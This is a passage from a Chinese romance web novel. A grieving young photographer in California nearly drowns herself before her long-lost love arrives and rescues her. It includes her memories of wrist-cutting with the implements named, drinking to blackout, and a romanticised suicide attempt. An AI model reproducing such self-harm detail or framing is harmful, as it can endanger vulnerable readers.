008621xxxxxxxx:别屏蔽我们号码了,这是多少新号我都数不过来,兄弟知道错了,真的。
“放心,婚礼一定会叫你们。”路泊汀示意苏珂穿好鞋先走,在她转身时,又叫住她,“我对你刚才说的话没有如果,你的未来一定会一路顺利。”
“谁让你煽情了?老娘当然会顺利拿到我想要的任何结果,包括人!”
苏珂忿忿不平地转身,背影很潇洒:“那我就祝你们就算喝了孟婆汤,生生世世也不会忘记彼此喽。”
手里的包链啪啦啪啦,高跟鞋的鞋跟哒哒哒哒,没多久,身影就很快消失在了楼梯间。
很幼稚的祝福,但路泊汀还是眉眼晃过很细碎的笑意。
像是掐点知道他忙得差不多了,黎雨的电话立马就打了过来。
“哥,我现在要说一件很急的事,你认真听……”
何让生的消息也接连跟着发来,震动嗡嗡嗡——
008621xxxxxxxx:阿声我知道在哪儿,你先接我电话,快点的!
“我刚才见到她了!我发誓我没看错!哥你现在就过来!!”
86. 见面
沈百合只是告诉她这场时装秀现场和后台都要拍,可能要连轴转12小时,让她做好饿一天肚子的准备,但是也没提前说那些难缠的客户要她在30分钟内出图啊!
光下午就拍了5000多张图,电脑还在她快定档时发出电量告急的提示声……
温声只好塞着耳机在嘈杂混乱的背景音里对品牌方反复道起歉:“对不起对不起,刚才拍摄的第二组图我需要再修一下,模特下身的那件短纱裙走光严重,如果直接发出可能会对她……”
“闭嘴吧!你给我少找理由!”那品牌方就想擦边博流量,嘴里叽里呱啦直接打断,“她就算□□你也得给我清清楚楚放出来!我就给你五分钟!本来你们学生不是专业摄影师来跟拍就不允许,如果拍摄内容达不到效果,今后所有协议全都作废!”
作废就作废!
你们这种狗屁工作室!你当老娘爱来么?
温声被那人激的也动气了,脸都气红了,想一把扯了耳机就走,但这是沈百合好不容易得到的合作方暂时还不能搅黄,她只能深呼吸,接着冷脸软声的承诺:“稍后我整理好会上传平台系统,您这边及时接收,有什么问题请尽快提出我去修改,麻烦啦谢谢。”
说完她就啪的先挂断电话,然后在心里狠狠呸了一声对面。
你等着我卡你时间!
温声背着包,两手抱着电脑从后台不断艰难穿梭,终于在人挤人背贴背的角落找到一处插电口,迅速跑过去坐下,直到在电脑关机前的几秒钟正好充上电,她才长长舒出一口气,记一眼发布日程,现场拍的照片都有时效性,必须要赶在六点前发出。
虽然胃口一直不好,但从早上六点出门到现在,就只吃了一顿早饭,半途忙的连水都没来得及喝,再顶饿的人忙一天也受不住。温声胡乱揉了把难受的肚子,两眼专注到屏幕上,将那些拍摄途中模特不小心暴露的部位全都精巧处理,等所有提交的图做好标记后,她就开始磨时间。
照刚才那男人的口吻,大修的照片肯定会打回重新改,但只要卡在发布前的时间交给他,他就算再不乐意,也是要收的。
温声贴着椅背静静打量这间不到一百平的化妆间,四处有抹虚幻的乱,人乱,灯光乱,就连时不时爆发出的声音都是混乱的。
有模特用意大利语急躁地催促:“你能不能不要踩我的脚!还有你选的发型我不接受,重新换一个!”
化妆师像托尿布一样手里拿着各种化妆工具跟在造型师后面,造型师又像奶妈喂奶一样勾着身站在那些来不及换装的模特身后,桌上堆满各种杂物,每个人的脸上都带着清晰难言的焦急。有些摄影师没位置去,只能席地坐在满是鞋印的地板上跟她一样赶时间修着图,也有更奇葩的摄影师跳上桌,在任何人都来不及反应时,迅速拍下一张后台的全景图。
每个人的身影被明暗不匀的冷白色荧光灯刺得诡异又苍白,在晦乱的后台间不断走动,虚影轻飘飘的,像是坟地游走的亡灵。
觉得人生没意思的几个瞬间,就是在这样的时刻。
温声垂眼看手腕那几道被手串遮住的淡粉色肉楞,凸起的,摸上去像塑料橡胶,不知不觉地,脑海里又开始走马观灯。
她割腕过三次,在卫生间,卧室床上,还有一次因为太想他,半夜三点瞒着小八仙自己跑到了几英里外的公共墓地,用锯齿状的钥匙,小刀柄的水果刀,还有墓地随处可见的易拉罐的拉环。
等那些鲜得发亮的血小股流出,等流速变得极快,等呼吸急促,等满身冷汗,等意识模糊,等心跳变得剧烈跳动起来。
她终于才能在幻觉中看到他。
“为什么我梦不到你……”
一次都没有。
她甚至想过是不是因为睡不好所以才梦不到,后来她喝了很多酒,喝到手脚发麻,喝到耳鸣,喝到眼前发黑失去知觉,直到倒床沉沉睡去,依然还是梦不到。
这几年,时间久到她开始害怕忘记他,久到只有在这种极端应激反应中才能看到他。
可是她不能死。
只要想到从小到大他那么用力保护过自己,无论如何,她都不愿意就这么轻易死了。
路泊汀……
你是不是很疼?
“你是不是很冷?”
温声浑身骤然紧绷,眼神一瞬空白,抬头看面前戴着口罩的人,眼里还凝着一层水汽。
黎雨作为这场时装展某品牌旗下的执行设计师,来后台临时探班,隔着乌压压的人群,一眼就注意到坐在角落正茫然流着泪的亚洲女生,五官很灵气,皮肤很白,但有种病态的白。
不知是不是很瘦,就算穿着一身水波轻盈很有生命力的草绿色裙子,就算短茸茸的柔软碎发像风一样贴在脸颊边,就算远远看上去很像一株清灵的绿植,但还是能让旁人看出她身上那股往内塌陷的沉气。
那点绿正在缓慢无声地褪色,逐渐变成一个枯萎的空壳。
……
好像在哪里见过她?
“你身后的门需要替你关吗?风大,小心别着凉了。”黎雨站近,不动声色地盯紧她,视线轻扫,语速放慢,用中文继续问:“还好吗?”
后台有两扇门,一扇通外场,一扇通后勤区域,温声坐的位置离后勤区域很近,冷风顺着门缝流通进来,她还没有出声,啪嗒一声,门就在她面前轻轻被掩上。
温声避开那双黑色清冷的眼睛,抬手蹭了蹭眼尾,清咳一声后随即恢复情绪,没再看她,只是点头道谢,声音很软:“刚才是有些头疼,不过现在好多了,谢谢你呀。”
“能留一个你的联系方式吗?”
黎雨说完后反应过来有些唐突,浅浅笑着解释:“我是这里的负责人,如果你有问题随时来找我处理,任何问题都可以。”
出门在外尽量不去将自己的个人信息给别人。
哪怕看上去就很善良的人。
温声想了想还是摇头,笑得很轻巧,再次回谢:“我工作马上结束就要走了,应该没有其他能麻烦到你的事情,不管怎么样都谢谢你的好意。”
时间快到了,她转过身塞上耳机重新点开电脑忙起来,将文件的链接打包上传到平台,趁文档传送中,同时点开刚才那个惹人烦的男人的通话界面,等接听时,手里还在编辑给沈百合的定时消息。
声声怪:小八仙我寄养在之前一直去的宠物店了,它吃的不多,胃口也不挑,平时也很少捣乱,你有时间的话偶尔陪它玩玩……
桌边忽然被人放下一瓶矿泉水,那双手偏长,干净又有力,掌心却并不像其她女生那样柔软。
温声余光探到,一怔,编辑信息的动作也停了下来,但没回头。
“你工作结束后可以留出半小时吗?”黎雨无法多做停留,手头还有紧急处理的工作正等着她,趁被助理拽走前,手指轻轻碰了碰桌面,再次留她:“我是黎雨,千万不要离开,等我来找你!”
高跟鞋的踩地声,灯具的嗡嗡声,还有外场音乐漏音的电流声,背景音实在太杂,温声戴着耳机没有听清她的话,见她快步离开,正要摘下耳机叫住,谁知那个猪头品牌方正好接通电话,不出三秒,破音的咆哮声隔着电线立马炸开:“我说你是不是蠢货?!!再三提醒过不要大修不要大修!!现在马上到发布时间了你怎么回事啊!!!”
……
交接完所有工作,温声就带着相机和包离开秀场了,那瓶没开封的水也被她握在手里带走了。
这是一场时尚品牌的私密走秀,位置临近Malibu的某葡萄庄园,海拔略高,能直面太平洋,外围有一片高高隆起的偌大停机坪,草坪呈波浪形向外蜿蜒开,温声站到半米高的石头向下望,城市半景一览无余,远处海鸥低飞,日落金边,有大朵大朵玫瑰粉的晚霞打在她脸上,风中是远趟海滩刮来的咸咸湿湿的细沙。
她的眼前有两条分开的长长的路,一头通向学校和公寓,另一条的尽头就是被三面岩石包围的小沙滩,上是断崖,下是金沙,想要进到海湾就要从悬崖旁一条很窄的沙道走下去,不太安全,也就没什么游客能知道。
有人穿着冲浪服刚收板回来,也有学生模样的男生女生站在路边等大巴车,站台附近有两辆热狗车,香味随即飘过来,斜阳微暗,三五成群的人集合又逐渐散开。
所有人都知道今晚该回到哪里。
她忽然不知道她该落脚在哪里。
跳下石头,温声低着头径直朝那辆煎香肠的小推车走去,炉子左侧有一排瓶瓶罐罐的彩色调味酱,望着铁板上正冒着油滋的煎蛋,她的肚子当即就饿了,“老板,我要一个全套的热狗,不要培根,麻烦番茄酱多一些,谢谢。”
“中国人?”
温声侧着身还在包里取钱,听到她的声音,这才注意到这是一辆充满中式风格的热狗车,车两边挂着喜庆的红色中国结,那位女老板黄皮肤黑头发,五十岁上下,穿着同样是中国红的马甲,上面印有“CNDG”的字样,简称China Dodgers,她看到国人就笑得很灿烂很热情的样子,指着菜单告诉她:“好不容易碰一次,你可以再好好想想要吃什么口味的,如果是市面上出现过的,阿姨都能给你做出来。”
温声犹豫了,觉得再提要求就有些难为她,赶紧抽出一张纸币递过去,“不用那么麻烦,您随意做就好,我现在有些饿,只要能填饱肚子就可以了。”
老板见她细皮嫩肉的,说话还软声软气的,跟自己闺女差不多的年纪,一猜一个准,“我们应该是一个地方的,我和我先生之前开过二十年的申味餐厅,这些瓶瓶罐罐的调料就是那时候一直传下来的,这一片只有我们这车是卖大陆人才吃的口味,你要是错过再遇可就难了。”
那……
“能不能做出罗味生煎的味道?”
倏尔想起这是热狗车又不是卖包子的,温声脸猝然一红,赶紧摆手解释:“不好意思阿姨,我不是……”
“当然可以啦!跟姨客气什么,这些老字号的口味很简单的,你等等啊,我现在就准备!只不过只能做罗味生煎味的热狗,包子可就做不了啦,阿姨没食材的,或者你留个我电话,下次你想吃了可以来家里姨给你做。”
老板说完就提着水壶冲刷起铁板,白色的热气滋滋滋在温声眼前嘭开,很温暖,比刚才阳光照在身上时还暖和。
温暖的让她忽然就很想落泪。
温声没有在意那些油点子会不会溅到身上,小步子往前靠啊靠,直到靠到她旁边,有些别扭,但还是上手轻揪她的围裙小马甲,声音有些细哑,絮絮的道起谢:“谢谢阿姨,我都好久没吃过罗味生煎了,知道你会做的时候特别开心,特别特别开心……是这段时间最开心的一件事了。”
如果老板不是正在忙,她都想抱一抱她了。
见小姑娘眼睛不自在的眨啊眨,眼圈周围也红了,老板是个特别宠爱女儿的妈妈,在家经常对女儿又亲又抱的,胡乱擦着油手,又因为衣服不干净,只好赶忙蜻蜓点水地快速抱了抱她,笑着调侃:“姑娘是想家了吧?在这边没有亲人吗?”
“我有朋友和小猫,它很乖,是我的家人之一。”温声俏皮的笑开,细细的手指立马划拉着手机给她看小八仙的照片,“它以前很瘦还生了一场大病,但现在被我照顾的很健康,而且它还能听懂我说的每一句话,我有好多心事它也知道……”
像终于找到倾诉的对象,温声一股脑就说起好多好多话,叉起腰说,点着鞋尖说,虚头晃脑地说,眉目凝神地说。
反正没人认识她,她想说什么就说什么。
只要一直说,心里就不会一直空落落。
老板一直听的很认真,从桶里舀了半勺高汤,加姜葱末去高汤里的腥,又找出几包料在碗里开始调味,手里忙着,一边回应她:“有猫固然好,但千万别怪姨多嘴,你们出门在外啊不要主动断了和家里的联系,再忙也要和父母多联络,实在想家,就让他们给你邮寄点吃的。等放假能回国就回国,你出来后会发现,爸妈啊,那才是最爱你的人,其他的都顶不住的。”
温声鼓起嘴角突然就不说话了。
小八仙也是最爱她的那一个啊。
什么情绪都挂在脸上,这小丫头实在太可爱了,老板了然一笑,又用手肘轻轻点她的胳膊,笑着说:“当然了,你的小猫也是最爱你的!”
配料汁费了不少时间,中途有几位客人没等得及就去了另一辆餐车,温声很过意不去,想要多付点钱,但是那阿姨将纸盒麻溜打包好,塞她手里,又推着她让她赶紧走,“公车快来了,现在天还亮着快回学校趁热吃,不然凉了就不好吃啦,姨还给你放了一点点糖油,味道会更正宗,快走吧快走吧!下次有时间再过来,我这边一直在的!”
路是下坡,温声被推出很远,她抽出50元的纸币又蹬蹬蹬飞快跑上来,短发都乱了,也不顾那阿姨挣扎,哗啦一下就戳进她的口袋里,然后抱紧热狗盒往另一条方向的坡跑去,软乎乎的声音随着细风向后扬:“再次谢谢阿姨啦!有机会我会常来的!”
老板错愕间,那抹娇憨又格外孩子气的葱绿色身影就马上消失在了路口,她摇头一声叹笑,“这孩子……”
到海湾时,日落橘紫色的余晖在海面泱泱漫开,那是一处细细弯弯的半月牙状沙滩,两头隐隐有几人在走动拍照,沙子被日光晒透,脱了鞋光脚踩上去还能感受到它们湿绵的热意。
风飘飘,裙子跟着荡悠,温声提起裙尾,随意找到一处离海边很近的礁石坐了下去,没过几分钟,脸颊和腿弯就被蚊虫叮出好几颗红肿,白皙的皮肤被风吹得薄薄一片。
她也不在意,忍着刺痒,像开钻石宝盒一样小心翼翼揭开那盒热狗,还冒着热气,混着淡淡的铁板香,阿姨人很好,给她多加了肉肠和煎蛋,糯糯的煎香复原了江城常去的那家生煎店的味道,无法抑制地,那些过往的记忆又立马涌上。
温声抬头,视线平静略过海面,清亮的眸子眨了眨,任由头顶的海鸥盘旋,一个人坐在海边开始安静地吃起来。
啪!
怀里的包被挤掉在沙地上,里面所有东西都倒了出来,有相机房卡钱包,有早就空瓶的透明糖罐,打火机,还有之前用过的小水果刀。
以及一只手表。
温声的目光冷不丁触到那只表,嘴里的热狗乍然变得没滋没味起来。
如果那晚她没有戴它,如果他没有上山,如果她只是坐几年牢,如果她现在刚好服刑出来……
如果他还健康活着……
如果一切都能回到那个她在车里偷偷亲他的夜晚。
就算这辈子不能在一起,又如何?
这种假设她想过无数遍。是抵触,也是恐惧,从那天之后这只表她就再也没有戴过。
温声抹开上面的细沙,将表带轻轻扣回手腕。
人的自暴自弃是一瞬间的事,她曾经以为那些自杀的人一定是遭遇过心理的大起大伏才会选择如此惨烈的方式,但不是,当生活照常周旋,当日月依旧轮回,结束生不过是和生命突然到来时一样的寻常。
说她没出息也好,说她活成笑话也好,说她只是为了一个男人就自我作贱也好。
这一次,她不想再挣扎活着了。
就算被全世界打上懦弱卑微的标签,她也认了,因为在没有
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他的每一天里,她确实无法再好好活不下。那跟着他离开,也就同样没有理由。
温声继续小口咬着热狗,手机里除了这两天申请战地记者被毙的邮件信息,剩下的就全是沈百合的炮轰短信和电话:
“什么意思啊!?小八仙我照顾不过来你别给我!!!”
“你回我电话!!!我操!人呢??”
“我警告你温声!!你TM但凡再做傻事,我做鬼都不会放过你!!!”
“我刚回国你就这么折腾我是吧???”
……
那条消息被刚才在秀场的那位女生一打断,她忘记定时了。
温声狠下心刚要退出界面,又看到置顶早就注销的灰色账号,深深呼吸,破罐子破摔又带着认命一样的心如死灰,抖着手给他去了一条消息——
“如果舍不得我,那就现在出现,我等你十分钟。”
否则,只能在地下见了。
想当然,这条消息再次石沉大海。
温声晃了晃被海风吹得麻木的脑袋,打开手机里快要看完的电影,三个多小时的时长,画面停在Jack紧紧抱着Rose,两人严丝合缝地挤在窄小冰冷的船头,倒倾的船身正飞速陷进深海里。
又是她看了几十遍的Titanic。
太阳正贴着太平洋的海岸线悄然落尽,天空被淡蓝、橘紫、玫瑰粉的晚霞层层叠叠晕染过,远一些的岸边有人收起摄影杆打算走人。
热狗还剩半盒,温声有些吃不下了,但还在努力往嘴里塞,注意着屏幕上的时间,Jack两手艰难撑在木板上,脸上血色尽失,他在用尽全力对Rose说最后那些誓言,鼻息僵冷苍白,眼角却动情湿润,手机音量并不大,四处的浪声轻轻叩击着岸边,和电影里的海水声一时对上。
“无论发生什么事,无论多么绝望……”他每说一句,温声就跟着他小声念,眼睛被海风吹得干涩发红,“千万不要放弃……”
不要放弃,温声。
身后有一股不同寻常的冷息骤然逼近,千钧重负般寸寸压向她,带着某种疯狂和执念,一刹那间,那凉意像平地忽起的风波,只等天崩地裂的那一刻重重轰开。
风声离她越来越近,也越来越沉。
温声的指尖莫名颤了下,心口也痉挛似得一抽搐,后颈有汗渗出,却没转身,她从下午开始脑子就变得很混钝,只当是崖口刮下的凉风。站起身,慢步走近海边,日落下坠,电影即将结尾。
十分钟早就过了。
遥远的海平线在她眼前变成一条死气沉沉的鱼线,她是即将溺水的活人,是被鱼线已经吊住的死鱼。
冰丝一样的海水不断冲过脚腕,腿弯,一下带走她满身的热气,温声仰头注意着雾气从海面飘起来,光线朦朦胧胧。
身边突兀地站着一人,出现的凌厉又悄无声息,身影颀长高大,完全能罩住她,他靠近后,那丝她最熟悉的木质海盐味也随之靠近,干净又清冽,像再寻常不过的曾经的一天。
温声很自然地偏过头,很自然地看着他,同样,很自然地喊他,眼睛被天际柔和的余晖染亮,嘴角的笑很轻甜:“路泊汀!晚霞和海都好漂亮喔,太阳落山啦!”
说完就重新回过身,继续朝前面的深海走。
那人还大口喘着气,他像一头濒死的野兽不久前还在朝希望狂奔,发抖的手还握着显示她定位的手机,意识到再慢一步就会失去她一辈子,通红的眼里顿时淬着湿火,还有一种失控,失而复得后狂乱的失控,他紧紧盯着她,喊不出一个字,浑身气息充满濒临垮塌的颤栗。
差一点,他就来晚了
思绪摇摇欲坠间——
刚才不是幻觉……
温声倏然反应过来,犹如晴天霹雳,她的身体先一步僵住,一双大眼睛慢慢睁大,瞳孔一瞬间收缩,看着前面,全身一动不动,甚至不敢眨眼。
她怕自己一动,那个人就会随时消失。
可是泪腺不受控地好似被人猛地扯开,顷刻,她的眼眶一下模糊,嘴唇微张,却发不出任何声音,只有用极轻极轻的气音,从唇间挤出来:“你……”
你……
……
一双泪眸死死盯住平静又汹涌的海面,害怕这是寻死前出现的臆想,她不敢回过头看他……
路泊汀听到她钝重的心跳声,每一声砰叫换成他胸腔的撕痛。
“温嗯温,声嗯声,全世界最有人情味的小女孩……什么时候,你才能不让我担心呢?”
隔着风,隔着浪,他的磁声喑哑,生涩,带着极力强忍的颤意,连凌乱的呼吸都在绷紧,冰凉的手悄然握上她同样抖着的右手,然后温声就感受到自己的手被他抵到唇边亲了亲,那个动作特别温柔,特别执拗。
世界有一幕在他极致克制又疼惜的眼神中静了下来,他有些哽咽的声音轻得她快要听不清:“宝宝,我来接你回家了。”
一直压抑的眼泪同时发烫地掉到她的手背上。
温声的鼻尖瞬间发热,发胀,更有一股酸苦的涩意顶上来堵住她的喉腔,她的呼吸越来越浅,更不敢看他了,嘴唇不知不觉就紧紧咬住,眼泪吊在眼眶里硬撑着就是不掉下来。
那枚颈间的戒指被他重新套入她的无名指。
“对不起宝宝,我来晚了……”
思念疯狂,终于再也无法抑制,路泊汀一把将她搂抱进怀里,力气大得像要把她揉进骨头,脸埋入她颈侧,有濡烫的湿液像钉子刺进她皮肤,微弯下腰,拥抱的姿势像是对她在祈求,“我…这么久……让你一个人……对不起……是我不够好……我很想你宝宝……很想很想……”
他开口带着浓浓的哭腔,好几次都说不下去,只能含着发哽的失音去叫她的名字。
自从记起的那一天,每一天都很想很想,只要闭上眼,只要脑海里出现她,那种刺心痛骨的想念在黑暗中就会立即吞噬他。
这个怀抱是热的,是他的气息,是她最熟悉的力道,再也不是一次次从梦里惊醒时的冰冷。
像终于有了实感,温声僵着的身体在他怀里一点一点软下来。
“你浑蛋路泊汀!!”
不知什么时候,温声早就哭得满脸潮红,哭得无声,拽住他的衬衫衣角,死命拽在手里不放,又空出一只手去推打他的肩膀,不断打,每一下都用尽全力,呜呜的鼻音还在不断抽气,一边吸鼻子,眼泪花吧嗒吧嗒往下掉,像要吼出所有绝望和害怕,大声哭着骂他:
“丢下我这么久!!欺负我这么多年!这么多年!!!我都还没找你算清账!!!你凭什么消失这么久!!!我找不到你怎么办!!!你说不见就不见!我怎么找得到!!”
人在最亲近的人面前就会自动变成小孩。
温声哭得委屈又愤怒,哭到发抖,手脚发软的乱打,到最后整个人哭干所有力气,直到被他紧紧抱在怀里动弹不得。
路泊汀任由她打,没躲也没拦,将她拦腰抱起来,她立马搂紧他的脖子将脸贴向胸口,就像一只终于找到窝的小动物,软成一滩,在他怀里只剩断了句的呜咽,一遍遍重复:“你知不知道只剩我一个人……世界这么大……我再找不到你…我该怎么办……”
“那我就去找你,我一定会找到你。”
路泊汀将她抱的很紧很紧,大手抚着她的背,眼角有泪滚下,垂下眼帘,一动不动地看她,凑近,轻轻吹她额头的碎发,又低头去亲她的眼泪,红红的鼻尖,还有一直委屈咬紧的嘴唇。
对上她的湿眼,他的眼睛也很红很红,但还在勾着唇笑:“我们不会再分开了,我发誓。”
“宝宝,我爱你。”
87. 弥补
“哎我操!!”
心跳失衡一时没缓过来,翁明和女朋友孟珠箐抱着耳朵蹲到某车道旁还在剧烈咳着嗽,两人肾上腺素激增,完全没搞过来状况,只知道稀里糊涂就被路泊汀一路飙到这片位置,刚才那阵极其粗暴的金属马力声仿佛还在耳边咆哮。
翁明好久没开过快车,嘴唇都白了,瞅着自己那辆还是改装过的大排量Hellcat,怀疑是自个儿有点废,但转念一想,tmd几分钟前差点撞上卡车都要死了,他就想把车卖了好好做人,顺便给他对象跪下磕个头。
“……媳妇儿,你好点了没?你要刚才没拉我,我指定能从窗户甩出去。”
“媳妇儿……哎…我爱你……”
安全带都没来及系,车就冲了出去。
真差点去见阎王了。
“我刚才要吓死了!你之前都没开这么快!”孟珠箐也惊出一身冷汗,两手捂着胸口,脸又红又白,“他……咳咳!好突然啊,没见过他这么急,是发生什么大事了吗?”
“算大事吧……”
找到了比命还重要的人,对他兄弟来说那就是头等大事啊。
翁明起身,有些心疼地蹭了蹭车头的擦痕,路泊汀油门一踩到底,不知道闯了多少灯,路边监控摄像头还在他们身后爆闪了好几下,估计一会儿他就能收到违章罚单。
他跟孟珠箐坐后座,刚才完全看不清两边路况,只知道底盘嘶嘶作响,转弯时,一辆大货车还正正好从岔道突然挤上来,车速同样很快,而且车身几乎占了大半个车道。
那司机一路乱开,跟他妈没开过车一样。
完了啊。
他当时的空脑子就划过这一个念头。
但驾驶位上的人连油门都没松一下,不闪不避,速度反而飙更快了。
翁明甚至都从后视镜照到有火星子从尾管爆出,他提着人头发誓再特么不减速他们几个这命也就到头了。
但……
他喊不出来扫兴的话。
能让他兄弟这么急,这么多年,他也就只知道一人。
就在那卡车和他们差一线距离时,路泊汀向右猛打方向,轻刹减速,接着一个甩尾过弯,迅速切到了右侧车道,车身就擦着那卡车边沿像流星一样窜了出去。
人脸不红心不跳的,还有空伸出窗朝那司机比了个傻逼的手势。
只是苦了坐后排的两人,心脏病差点当场就犯了。
说是大难不死也不为过。
……妈的!
“我真挺想骂人,等会儿他来了,我得跟他好好聊聊,今天这情况只带我也就算了,车里还有你和狗,万一出个什么事我怎么跟你妈交代……”
“汪!”
刚说着,耳朵就一下咬住他的袖子,两颗小尖牙一呲一呲的,小黑鼻子气呼呼的,连脸都大了一圈。
看得出是个护主的好狗子。
翁明也就嘴一收。
“耳朵……真不是你爹不要你了,他今晚有很重要的事要去办,你乖点跟我们再等会儿他成吗?他绝对回来你信我!”
耳朵蔫里吧唧的,眼睛也湿漉漉的,松开嘴,两只爪子捂住鼻子,嘴里发出低低的呜咽声:“呜嗷……”
翁明心软的不行,又唉了一声,开始变着声的哄它:“是不是吓到你了?还是饿了?还是困了啊?我这么抱你难受吗?不是……别哭啊你……”
孟珠箐终于缓过来了,撑着地起身,然后上前就是一巴掌拍到他后脑勺,让他别挡道,又对着耳朵嘬嘬两下,摇头晃脑开始招惹:“嘿嘿小耳朵~你家里人不要你噜~不要你噜~~听到了吗他们不要你噜~~~略略略!”
也不知道是不是听懂了,平时聪明机灵的狗在翁明怀里缩成一团,眼神无光,尾巴彻底垂下。
孟珠箐不顾翁明使眼色,又挑着指头戳它的小脑阔:“所以你就跟我们走吧,我们也可以照顾好你呀,你想吃什么想玩什么,姨姨都给你准备的妥妥当当!”
“唉还是别逗它了,你没见它都趴下了吗,我都怕它今晚应激。”翁明抱着耳朵躲开孟珠箐,离她远了点,“你要实在想养,我们就去领一只,但路子这只狗咱俩带不走的,他宝贝着呢!”
孟珠箐叉起腰,故意作他:“我也想领啊,但是没遇到过这种品相的,除非你找一只差不多的,不然我就想要它。”
翁明无奈地抚着额角,一时不知道说什么才能让她清醒点。
玩笑话是这么说,孟珠箐心里可亮着呢,小耳朵这几年是被路泊汀走哪儿带哪儿的,别说他们抢走,就算寄住在他们家里,哪怕多一晚,路泊汀都不带乐意的。
不过就算他们不养,逗逗朋友的狗也不是不行,对吧对吧?
她还想再惹耳朵,结果见它在翁明怀里突然扑通一跃,急急燥燥就跳到了地上,然后撒泼一样往他们身后跑去:“汪汪汪!”
翁明和孟珠箐同时回身。
嚯,来了!
耳朵几步突突突就蹦到了路泊汀腿边,伸出两爪子刚要蹭他裤腿,动作一慢,鼻子一嗅,再一嗅!然后忽然变了方向,往旁边站的人身上跳了去。
好重!
温声本来还被路泊汀牵着,被这么用力一扑,两手抱着它被迫退了两步,“唔!耳……耳朵?”看清它的脸,她登时一怔,眨眨眼,扭头就问路泊汀,“它什么时候来的?”
刘嫂不是说跑丢了吗……
她还因为它丢了哭了好几次……
耳朵伸出粉嫩舌头疯狂舔她的下巴,还往她脖子里钻,乌黑圆眼睛都亮了,兴奋地叫叫叫:“汪嗷!嗷!!”
“它都跟我好几年了,我来这边时它就在我身边。”
路泊汀往耳朵脑门就是一记脆蹦,指着它快20斤的毛身,挑眉朝地上示意:“往下走,快点儿。”
不要!
耳朵还在狂舔温声,下一瞬,肉脖子就一疼,被他强行捏住提溜到了地上,然后弯下身,大手扯住它的小狗脸强行掰了个方向。
重新面朝翁明他们。
见它还哈着口水,怪可怜的,温声无措地挠挠头,她的眼睛还是红红热热的,尤其眼尾,还有哭过的红印子,眼神跟耳朵对上,朝它不动声色地挤挤眼,示意再等等就抱它。
耳朵尾巴摇的飞起,舒服了,开心了,两只耳朵同时竖着,雄赳赳地贴在她腿边。
翁明揽着孟珠箐的肩走近,先朝温声轻轻笑了开:“好久不见阿声,刚才我见到你两一起走过来的时候,有种恍然现在还在初中,但好在这些年你们还是你们,什么都没有变。”
他戴着一副无框眼镜,气质偏温润,是路泊汀身边为数不多看上去很有书卷气的男生,语气慢而不生疏,话语藏着分寸感。
孟珠箐性子很开朗,也不认生,朝温声主动伸手,嘻嘻一笑自我介绍道:“阿声你好呀,久仰大名喔!我是孟珠箐,小名箐子,诶?你还不知道吧,我一直在觊觎你的小狗,但是它对别人防备心很强,一直不让我们亲近,今天见到你也算了解了它为什么护主那么厉害啦!还有我刚才差点逗哭它,抱歉噢太喜欢它了实在没忍住!”
情侣两人都是人精,尤其孟珠箐,路泊汀身边这几年一个亲近的异性都没有,她隐隐听翁明说过他在找喜欢的人,再结合今天飙车的情况,脑子一转,轻而易举就猜到了面前这姑娘就是他一直心心念念的那个人。
第一次见面,既不能让彼此尴尬,又不能太显热情,而且翁明了解的温声还是那种心思很细腻、说话稍微带点假就能被划出线的小姑娘。
还好这个度两人把握得都很好。
路泊汀眉眼有抹淡淡的笑意,朝他们若无其事地颔首招呼,算作感谢。
翁明都还没表示呢,孟珠箐就一手握拳,麻利拍向一侧肩,给了他一个“别说了,咱们都懂”的手势。
都是兄弟,客气什么呢。
有个脑子经常掉线的女朋友是种什么体验?
翁明再次扶额。
他们实在太温和,没有丝毫刻意,温声的脸倏尔一热,刚才一路走来还担心被他的朋友看到自己哭肿眼的狼狈样,所以拽着路泊汀硬是到帽子店里挑了一顶大大的渔夫帽。
但现在看来没必要。
摘下帽子,温声乱着短发,脸上还有很明显的哭痕,伸出两只手握上孟珠箐还举着的手,轻轻晃了晃,声音还有哭多的沙哑,但嘴边笑意俏皮又有几分乖巧:“不好意思让你们久等了,耳朵今天也麻烦你们了,现在是饭点时间,这附近有一家我常去的中餐店,位置不远,味道也不错,如果你们不赶时间的话,一起吃顿饭再回吧?”
那必须吃啊!
孟珠青都快饿死了,刚才还端着不太好意思表现出来,听到要去吃中餐,原形毕露,一把就抱住她的胳膊往外带,一见如故的样子惊坏了旁边的翁明,她又大剌剌地说:“别说吃一顿饭了宝贝,今晚咱两睡
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一块都行……你身上这什么味呀?好好闻的嘞,还有你这头发,发型师谁哇,我也想去剪一个,好看得嘞!”
走着说着,她就在温声身上左摸摸右摸摸,鼻子也一个劲儿的嗅来嗅去,一整个动手动脚。
温声被她摸得全程脸红红,她女生缘向来不差,知道孟珠箐是有意亲近,所以也没拒绝,示意她看脚边的水坑,然后说:“那等会儿我加你联系方式吧,给你发那家店的位置……”
“哎哟别一会儿了吧宝贝,快,就现在的!”
翁明停好车,和路泊汀跟在她们身后,耳朵被路泊汀捞起趴到肩上,翁明瞟着他的眼眶,红里还带点发亮的潮湿,他的两片嘴唇微微嗡动,低声问:“这是已经哭过了?失而复得的心情怎么样?你们这是足足四年没见吧?……四年……我都不敢想见不到我对象我能有多疯……唉你们这么多年不容易啊,我算一路见证过来的吧……以后一定要好好的,过去的就过去吧也别再和谁计较了,浪费时间真没必要,还有你们要不争取早点结婚吧,结个婚套牢就好了,结了婚,这人就丢不掉的……”
边絮叨,还打着响指。
巴拉巴拉。
他是个好兄弟,但有时候话多起来谁都控制不住。
路泊汀就听他一个劲儿说,嘴角慢慢扬起也没打断,抬手揉着耳朵的毛绒大脑袋,动作懒,表情松,走得也很漫不经心。
噌!
前面的人一下回过头!
孟珠箐趁温声掏手机时,目光很嫌弃地看翁明,口型示意:“翁明你丫废话是真多啊!拐俩弯说不出个利索话来!烦不烦呐?”
翁明被骂的一下就瞪直了眼:……
?
他又说错什么了吗??
路泊汀抬眼,视线略过那抹一直没回头的绿色倩影,背影很细薄,肩胛骨还若隐若现,他刚才抱的时候体量还没高中那时候重。
瘦了很多,很多很多。
不知道想到什么,原本眼角眉梢全是散漫笑意的人忽然沉默,长睫微垂,唇边那点笑渐渐敛了。
周身随即安静起来,连空气也莫名往下沉。
翁明注意到他低着头,缓出一口气,虽然没什么声音,那那种男人之间不易察觉的隐忍和克制还是被他发现了,他用胳膊撞他,“喂!不是,现在人不都找到了吗,就别再难受了啊。”
说着,又不太客气地送他一拳,“别想有的没的了,我真看不惯你这幅墨迹样。”
